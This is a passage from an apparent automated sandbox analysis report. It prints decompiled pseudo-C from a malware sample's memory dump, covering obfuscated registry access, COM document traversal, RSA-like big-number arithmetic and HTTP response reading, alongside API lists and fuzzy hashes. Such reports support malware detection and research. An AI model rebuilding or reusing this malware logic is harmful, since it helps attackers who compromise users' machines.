					_t68 = E0344809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d0344c0
						if(E0344A635(_t103,  *_t33, _t97, _a8,  *0x344d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x344d27c; // 0x262a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x344ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x344e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E0344816C(_t73,  *0x344d334,  *0x344d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x344d27c; // 0x262a5a8
									_t44 = _t75 + 0x344e871; // 0x74666f53
									_t78 = E0344809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d0344c0
										E03442659( *_t47, _t97, _a8,  *0x344d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d0344c0
										E03442659( *_t49, _t97, _t105,  *0x344d330, _a16);
										E03449039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d0344c0
									E03442659( *_t40, _t97, _a8,  *0x344d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d0344c0
									E03442659( *_t43, _t97, _a8,  *0x344d330, _a16);
								}
								if( *_t107 != 0) {
									E03449039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d0344c0
					if(E03446BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d0344c0
							E0344A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E03449039(_t106);
						_t104 = _a16;
					}
					E03449039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E0344A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x344d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x034417d5
0x034417de
0x034417e5
0x034417ea
0x03441857
0x0344185d
0x03441862
0x0344186b
0x03441872
0x03441875
0x034419e9
0x034419f0
0x034419f0
0x034419f5
0x034419f7
0x034419f7
0x03441a00
0x03441a00
0x0344187b
0x03441887
0x034419df
0x034419e2
0x00000000
0x034419e2
0x0344188d
0x03441892
0x0344189b
0x034418a2
0x034418a5
0x034418ef
0x034418ef
0x03441902
0x0344190c
0x03441914
0x03441919
0x03441923
0x03441923
0x0344191b
0x0344191b
0x0344191b
0x0344191b
0x03441945
0x0344194d
0x0344197b
0x03441980
0x03441989
0x0344198e
0x03441992
0x034419c4
0x03441994
0x034419a1
0x034419a4
0x034419b4
0x034419b7
0x034419bd
0x034419bd
0x0344194f
0x0344195c
0x0344195f
0x03441971
0x03441974
0x03441974
0x034419ce
0x034419da
0x034419d0
0x034419d3
0x034419d3
0x034419ce
0x03441945
0x00000000
0x0344190c
0x034418b4
0x034418be
0x034418c0
0x034418c5
0x034418c9
0x034418cb
0x034418d6
0x034418d9
0x034418d9
0x034418df
0x034418e4
0x034418e4
0x034418ea
0x00000000
0x034418ea
0x034417ef
0x00000000
0x03441816
0x03441816
0x03441822
0x03441835
0x0344183b
0x03441843
0x00000000
0x03441843

APIs

StrChrA.SHLWAPI(03443C81,0000005F,00000000,00000000,00000104), ref: 03441808
lstrcpy.KERNEL32(?,?), ref: 03441835

Part of subcall function 0344809F: lstrlen.KERNEL32(?,00000000,0344D330,00000001,03442200,0344D00C,0344D00C,00000000,00000005,00000000,00000000,?,?,?,034496C1,034423E9), ref: 034480A8
Part of subcall function 0344809F: mbstowcs.NTDLL ref: 034480CF
Part of subcall function 0344809F: memset.NTDLL ref: 034480E1

Part of subcall function 03442659: lstrlenW.KERNEL32(03443C81,?,?,034419A9,3D0344C0,80000002,03443C81,03448B1E,74666F53,4D4C4B48,03448B1E,?,3D0344C0,80000002,03443C81,?), ref: 03442679

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

lstrcpy.KERNEL32(?,00000000), ref: 03441857

Strings

\, xrefs: 0344183B

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 04ca6d50d32b2d859840c8ae603bf728f0768160c98209da787b2fe425daee1e
Instruction ID: 4cd8411a2b0bc090128425bcc1f1372a179e094c44d8181b6abf37e7f7d18479
Opcode Fuzzy Hash: 04ca6d50d32b2d859840c8ae603bf728f0768160c98209da787b2fe425daee1e
Instruction Fuzzy Hash: C9516D79500209FFEF21EFA1DD40E9B77BAAB08200F04453AFA169E121EB31D956DF58

Uniqueness

Uniqueness Score: -1.00%

Function 034452F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E034452F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x344d27c; // 0x262a5a8
					_t5 = _t102 + 0x344e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x344c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x344d27c; // 0x262a5a8
												_t28 = _t108 + 0x344e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x344d27c; // 0x262a5a8
														_t33 = _t78 + 0x344e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x034452fe
0x03445307
0x03445308
0x0344530c
0x03445312
0x03445318
0x03445321
0x03445327
0x03445331
0x03445333
0x03445339
0x0344533e
0x03445349
0x03445351
0x03445354
0x03445477
0x0344535a
0x0344535a
0x03445367
0x0344536d
0x03445373
0x03445377
0x0344537d
0x0344538a
0x0344538e
0x03445394
0x03445397
0x0344539d
0x034453a3
0x034453a9
0x034453ac
0x034453af
0x034453b5
0x034453be
0x034453c4
0x034453c5
0x034453c8
0x034453c9
0x034453ca
0x034453d2
0x034453d3
0x034453d4
0x034453d6
0x034453da
0x034453de
0x00000000
0x00000000
0x034453e4
0x034453ed
0x034453f3
0x034453fd
0x03445401
0x03445403
0x03445410
0x03445414
0x0344541c
0x03445421
0x03445433
0x03445435
0x0344543b
0x0344543b
0x03445444
0x03445444
0x03445446
0x0344544c
0x0344544c
0x0344544f
0x03445455
0x03445458
0x03445461
0x00000000
0x00000000
0x00000000
0x03445461
0x034453b5
0x034453af
0x03445397
0x03445467
0x03445467
0x0344546d
0x0344546d
0x03445473
0x03445473
0x0344547c
0x03445482
0x03445482
0x0344533e
0x0344548b

APIs

SysAllocString.OLEAUT32(0344C2B0), ref: 03445349
lstrcmpW.KERNEL32(00000000,0076006F), ref: 0344542B
SysFreeString.OLEAUT32(00000000), ref: 03445444
SysFreeString.OLEAUT32(?), ref: 03445473

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloclstrcmp
String ID:
API String ID: 1885612795-0
Opcode ID: 9adbd3cb2fff568b9187674ea739623c475e4de4b53a005a8af709a012d34de1
Instruction ID: a2c0878665d35354019950ff9781bf4e8f3424899ab72f1ca5bcfb90a766386c
Opcode Fuzzy Hash: 9adbd3cb2fff568b9187674ea739623c475e4de4b53a005a8af709a012d34de1
Instruction Fuzzy Hash: D4514875D00519AFDF00DFA9C4889AEF7BAFF8A705B1485A9E915AF210D731AD01CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 03441017, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E03441017(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E0344A7AA(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E0344968F(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E03448967(_t101,  &_v236, _a8, _t96 - _t81);
					E03448967(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E0344968F(_t101, 0x344d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E0344968F(_a16, _a4);
						E03441D6C(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L0344B0C8();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L0344B0C2();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E03441FB1(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E03448B62(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E03449100(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x344d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0344101a
0x03441026
0x0344102c
0x03441031
0x03441035
0x03441192
0x03441196
0x03441196
0x0344103b
0x0344103f
0x03441045
0x03441046
0x03441051
0x03441057
0x0344105c
0x0344105f
0x03441079
0x03441085
0x0344108e
0x03441098
0x0344109d
0x0344109f
0x034410a2
0x03441150
0x03441156
0x03441167
0x0344117a
0x0344118a
0x00000000
0x0344118f
0x034410ab
0x034410b2
0x034410b6
0x034410bc
0x034410be
0x034410c0
0x034410c2
0x034410c4
0x034410ce
0x034410d3
0x034410d5
0x034410d7
0x034410d8
0x034410d9
0x034410da
0x034410e1
0x034410e8
0x034410eb
0x034410eb
0x034410b8
0x034410b8
0x034410b8
0x034410f3
0x034410fb
0x03441104
0x03441109
0x03441109
0x0344110e
0x00000000
0x00000000
0x03441110
0x03441113
0x0344111d
0x00000000
0x00000000
0x0344111f
0x0344111f
0x03441129
0x03441109
0x0344110e
0x00000000
0x00000000
0x00000000
0x0344110e
0x03441133
0x03441136
0x03441139
0x03441140
0x03441140
0x0344114d
0x00000000
0x0344114d
0x03441048
0x0344104c
0x0344104d
0x0344104f
0x00000000
0x00000000
0x00000000
0x0344104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 034410C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 034410DA
memset.NTDLL ref: 0344117A
memset.NTDLL ref: 0344118A

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: a39c851768ed0637037ffc048236b80c0cf01b767600e3a4e40a266d86eb351a
Instruction ID: 55eaebc0abba5e60dbdad31778820a0f198a48d5ca2fcd00147b051f43f1dc50
Opcode Fuzzy Hash: a39c851768ed0637037ffc048236b80c0cf01b767600e3a4e40a266d86eb351a
Instruction Fuzzy Hash: CB41A475A00249AFEB10DFA9CC80BEE7778EF44310F10853EE916AF280D77199858B54

Uniqueness

Uniqueness Score: -1.00%

Function 0344A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,76D24D40), ref: 0344A9BD

Part of subcall function 03442049: RtlAllocateHeap.NTDLL(00000000,00000000,03447E50), ref: 03442055

ResetEvent.KERNEL32(?), ref: 0344AA31
GetLastError.KERNEL32 ref: 0344AA54
GetLastError.KERNEL32 ref: 0344AAFF

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: ba59eb70f2179d2e0892fd7f334ab0bd669d88f2c4c4363ad5e057d3ae9683d7
Instruction ID: 18cc82c4e0a206baa1d03c625084df99379f52f2839cae8826762155968dba89
Opcode Fuzzy Hash: ba59eb70f2179d2e0892fd7f334ab0bd669d88f2c4c4363ad5e057d3ae9683d7
Instruction Fuzzy Hash: 5341AC75540244BFE730EFA2CC89E6BBBBDEB85700B04493AF502E9190EB70D944CB24

Uniqueness

Uniqueness Score: -1.00%

Function 034439BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E034439BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x344d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x344d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E03442049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x344d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E03449039(_v16);
							if(_t58 == 0) {
								_t58 = E03447A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E03441C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E03441C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x034439bf
0x034439ce
0x034439d3
0x034439d5
0x034439da
0x034439db
0x034439e0
0x034439e1
0x034439ec
0x03443a1d
0x03443a22
0x03443ae5
0x03443ae8
0x03443aee
0x03443aee
0x03443a2f
0x03443a37
0x03443ae2
0x00000000
0x03443ae2
0x03443a42
0x03443a49
0x03443a4c
0x03443ad4
0x03443ad5
0x03443ad5
0x03443adb
0x00000000
0x03443adb
0x03443a52
0x03443a54
0x03443a5a
0x03443a5b
0x03443a5b
0x03443a5e
0x03443a61
0x03443a67
0x03443a6c
0x03443a6d
0x03443a72
0x03443a75
0x03443a80
0x00000000
0x00000000
0x03443a88
0x03443a90
0x03443ab9
0x03443abc
0x03443ac3
0x03443ace
0x03443ace
0x00000000
0x03443ac3
0x03443a9c
0x03443aa0
0x00000000
0x00000000
0x03443aa2
0x03443aa7
0x00000000
0x00000000
0x03443aa9
0x03443aa9
0x03443aae
0x00000000
0x00000000
0x03443ab0
0x03443ab1
0x03443ab4
0x03443ab4
0x03443a5b
0x034439f4
0x034439fc
0x03443a15
0x03443a17
0x00000000
0x00000000
0x00000000
0x03443a17
0x03443a08
0x03443a0c
0x00000000
0x00000000
0x03443a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 034439D5
GetLastError.KERNEL32 ref: 034439EE

Part of subcall function 03441C47: WaitForMultipleObjects.KERNEL32(00000002,0344AA72,00000000,0344AA72,?,?,?,0344AA72,0000EA60), ref: 03441C62

ResetEvent.KERNEL32(?), ref: 03443A67
GetLastError.KERNEL32 ref: 03443A82

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: aada42fa01745d09dfa9e413a6a40c20a9918297a782084f7ff30d6e2360a4e1
Instruction ID: e3eb27d31ff118c33abbaf2b8ab9153465dcccf06b9e46c28cef225ea96ebdab
Opcode Fuzzy Hash: aada42fa01745d09dfa9e413a6a40c20a9918297a782084f7ff30d6e2360a4e1
Instruction Fuzzy Hash: 5331D63A680204AFEF21DFA5CC44A6F77B9EF84650F14057AE511BF290DB30E951CB14

Uniqueness

Uniqueness Score: -1.00%

Function 034442EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E034442EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x344d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x344d27c; // 0x262a5a8
				_t3 = _t8 + 0x344e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E03447A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x344d2a8, 1, 0, _t30);
					E03449039(_t30);
				}
				_t12 =  *0x344d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0344757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E0344205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x344d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0344A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x034442eb
0x034442f2
0x034442fc
0x03444300
0x03444306
0x03444315
0x0344431c
0x03444320
0x03444332
0x03444334
0x03444334
0x03444339
0x03444340
0x03444395
0x03444395
0x0344439b
0x0344439d
0x0344439d
0x034443a7
0x034443ab
0x034443bd
0x034443bd
0x034443c1
0x034443c7
0x034443c7
0x00000000
0x03444359
0x0344435e
0x03444366
0x03444368
0x0344436c
0x0344436c
0x03444379
0x0344437d
0x03444381
0x034443d6
0x034443dc
0x034443dc
0x0344438f
0x03444393
0x034443ca
0x034443cc
0x034443cf
0x034443cf
0x00000000
0x034443cc
0x03444393
0x00000000
0x0344437d

APIs

Part of subcall function 03447A9A: lstrlen.KERNEL32(034423E9,00000000,00000000,00000027,00000005,00000000,00000000,034496DA,74666F53,00000000,034423E9,0344D00C,?,034423E9), ref: 03447AD0
Part of subcall function 03447A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 03447AF4
Part of subcall function 03447A9A: lstrcat.KERNEL32(00000000,00000000), ref: 03447AFC

CreateEventA.KERNEL32(0344D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,03443CA0,?,00000001,?), ref: 0344432B

Part of subcall function 03449039: HeapFree.KERNEL32(00000000,00000000,03447F18,00000000,?,?,00000000), ref: 03449045

WaitForSingleObject.KERNEL32(00000000,00004E20,03443CA0,00000000,00000000,?,00000000,?,03443CA0,?,00000001,?,?,?,?,03446880), ref: 03444389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,03443CA0,?,00000001,?), ref: 034443B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,03443CA0,?,00000001,?,?,?,?,03446880), ref: 034443CF

Memory Dump Source

Source File: 00000003.00000002.493810566.0000000003441000.00000020.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000003.00000002.493785661.0000000003440000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493848114.000000000344C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.493863050.000000000344D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.493880197.000000000344F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: e05f920fda61a6fd2d7b0a65724a19009d47d7e2e848a1f53602e914700108de
Instruction ID: a91ae5262773ea6f75c112a2ddc0ce66330e7492f398850e05b3452c6a0b16a1
Opcode Fuzzy Hash: e05f920fda61a6fd2d7b0a65724a19009d47d7e2e848a1f53602e914700108de
Instruction Fuzzy Hash: 0721E532701311ABE731EBAA5844B6BB6E8AB88A10F490637F911EF345EB61C8014698

Uniqueness

Uniqueness Score: -1.00%

Function 0344A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0344A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x344d144; // 0x344ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E03442049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E03449039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
